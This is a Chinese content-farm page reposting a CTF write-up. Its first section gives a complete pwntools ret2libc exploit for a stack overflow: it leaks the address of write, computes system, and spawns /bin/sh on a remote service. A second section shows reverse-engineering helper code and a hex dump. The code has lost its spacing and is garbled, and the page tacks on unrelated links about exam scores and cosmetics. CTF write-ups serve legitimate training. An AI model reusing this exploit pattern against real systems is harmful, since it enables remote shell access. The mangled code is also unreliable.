锐客网

  1. 首页 > 睿知 > >

wooyun 镜像站

睿知经验知识

Wooyun镜像站是一个非官方的安全漏洞报告平台 ， 致力于公众安全意识的提升和网络安全技术的推广 。Wooyun镜像站收录了所有经过wooyun.org收录的安全漏洞和相关展示信息 ， 以及一些安全实验数据 。它为安全研究人员提供了一个安全漏洞研究的资源汇集地 ， 并且可以加速安全预警响应 ， 维护互联网安全 。
原创： Z.thero 合天智汇
0x01 PlainR2B
这是一道比较简单的PWN题目 ， 首先拖到IDA里简单看了一下程序 ， 如图

wooyun 镜像站

文章插图
发现在读取 ， 没有栈保护 ， 所以 ， 在read0x34时 ， 可能替换game返回址址 ， 先通过write(1,write,4)(game作为write返回地址) 。这样读出write地址 ， 这样就可以得到system地址 ， 因为又循环运行了 ， 同样在0x804A06C写入/bin/sh\0,这样system就能运行 。
Pythonexp如下：
frompwn import *
defrungameAgainPoc(p,yourname,flag):
p.recvuntil("First,what's your name?\n")
p.send(yourname+ "\n")
p.recvuntil("doyou want to get flag?\n")
p.send(flag)
pwnelf= ELF("./pwn")
libcelf= ELF("./libc-2.23.so")
gameadd= 0x080485CB
plt_write= pwnelf.symbols['write']
got_write= pwnelf.got['write']
#p= process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
p= remote('117.50.60.184', 12345)
rungameAgainPoc(p,"ichuqiu","0"*32+ p32(plt_write)+
p32(gameadd)+ p32(1) + p32(got_write) + p32(4))
write_addr= u32(p.recv(4))
print"pwn write " ,hex(write_addr)
libcelf_system_add= libcelf.symbols["system"] +
write_addr- libcelf.symbols["write"]
print"pwn libcelf_system_add",hex(libcelf_system_add)
rungameAgainPoc(p,"/bin/sh\0","0"*32+
p32(libcelf_system_add)+p32(gameadd)+ p32(0x804a06C))
p.interactive()
flag{62c51c85-1516-4ad8-989c-58ce8c29642e}

0x02 Antidbg
IDA查找关键函数 ， 发现有一个循环比较
初步判断 ， 是一个8位数 ， 于是分开比较
#[ebp+var_6C]01050D02070106010206000B07010C06
#[ebp+var_4C]02080602
#[ebp+var_5C]0100070D020108080D000103040D0303
#[ebp+var_48]02050009
#[ebp+var_44]00000D02
defcover(buf):
buf= buf.decode("hex")
rbuf= ""
fori in range(len(buf) - 1,-1,-1):
rbuf+= buf[i]
returnrbuf
defcover_hex_lines(buf):
returnbuf.replace("","").replace("\r","").replace("\n","").decode("hex")
var_6c=cover("01050D02070106010206000B07010C06")
+cover("0100070D020108080D000103040D0303")
+cover("02080602") + cover("02050009")
+cover("00000D02")
#printlen(var_6c)
byte_402178= """02 02 02 02 03 01 01 02
0101 02 01 01 00 01 01 02 02 00 01 01 01 01 00
0101 02 02 00 01 01 02 02 01 01 01 01 01 02 01
0103 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0303 0D 04 03 01 00 0D 08 08 01 02 0D 07 00 01
060C 01 07 0B 00 06 02 01 06 01 07 02 0D 05 01
0000 00 00 EF 28 68 5B 00 00 00 00 02 00 00 00
4800 00 00 E4 22 00 00 E4 16 00 00 00 00 00 00
EF28 68 5B 00 00 00 00 0C 00 00 00 14 00 00 00
2C23 00 00 2C 17 00 00 00 00 00 00 EF 28 68 5B
0000 00 00 0D 00 00 00 54 02 00 00 40 23 00 00
4017 00 00 00 00 00 00 EF 28 68 5B 00 00 00 00
0E00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
A000 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000 00 00 00 00 00 00 00 00 00 00 00 30 40 00
E022 40 00 01 00 00 00 E8 20 40 00 00 00 00 00
0000 00 00 00 00 00 00 00 01 00 00 00 00 00 00
0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00

推荐阅读


上一篇：2021天津高考分数线及一分一档表 2021天津高考分数线及位次

下一篇：迪奥化妆品加盟电话 迪奥化妆品加盟需要多少钱